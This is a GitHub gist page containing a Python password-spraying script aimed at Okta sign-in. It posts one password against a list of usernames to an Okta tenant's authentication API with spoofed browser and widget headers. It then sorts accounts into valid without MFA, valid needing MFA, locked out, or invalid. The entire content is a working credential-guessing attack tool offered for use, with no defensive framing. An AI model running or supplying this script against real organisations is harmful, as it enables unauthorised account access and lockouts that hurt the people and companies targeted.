Skip to content

Instantly share code, notes, and snippets.

@RFC1918-hub
Last active June 14, 2023 09:43
Show Gist options
  • Save RFC1918-hub/9b7cc6c810f370a56a4b2d94caabd198 to your computer and use it in GitHub Desktop.
Save RFC1918-hub/9b7cc6c810f370a56a4b2d94caabd198 to your computer and use it in GitHub Desktop.
Okta password spray script
import sys
import requests
import argparse
from loguru import logger
parser = argparse.ArgumentParser()
parser.add_argument("-d", "--domain", help="The domain of okta.com to attempt the spray upon", required=True)
parser.add_argument("-U", "--usernameFile", help="File containing usernames (newline delimited list) to password spray")
parser.add_argument("-p", "--password", help="Password to spray against usernames", required=True)
parser.add_argument("-ua", "--useragent", help="User-Agent to use for requests. Default: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0")
args = parser.parse_args()
session = requests.Session()
domain = args.domain
useragent = args.useragent
def checkCreds(username, password):
rawBody = "{\"username\":\"%s\",\"options\":{\"warnBeforePasswordExpired\":true,\"multiOptionalFactorEnroll\":true},\"password\":\"%s\"}" % (username, password)
headers = {"Accept":"application/json","X-Requested-With":"XMLHttpRequest","X-Okta-User-Agent-Extended":"okta-signin-widget-2.12.0","User-Agent":useragent,"Accept-Encoding":"gzip, deflate","Accept-Language":"en","Content-Type":"application/json"}
response = session.post("https://%s.okta-emea.com/api/v1/authn"%domain, data=rawBody, headers=headers)
if response.status_code == 200 and 'status' in response.json():
jsonData = response.json()
if "LOCKED_OUT" == jsonData['status']:
logger.error(f"[!] Account locked out ---- {username}:{password}")
elif "MFA_ENROLL" == jsonData['status']:
logger.success(f"[*] Valid Credentials without MFA ---- {username}:{password}")
else:
logger.success(f"[*] Valid Credentials (MFA needed) ---- {username}:{password}")
else:
logger.debug(f"[!] Invalid Credentials ---- {username}:{password}")
def main() -> int:
uL=open(args.usernameFile)
usernames = map(str.strip, uL.readlines())
password = args.password
for username in usernames:
checkCreds(username, password)
if __name__ == "__main__":
sys.exit(main())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment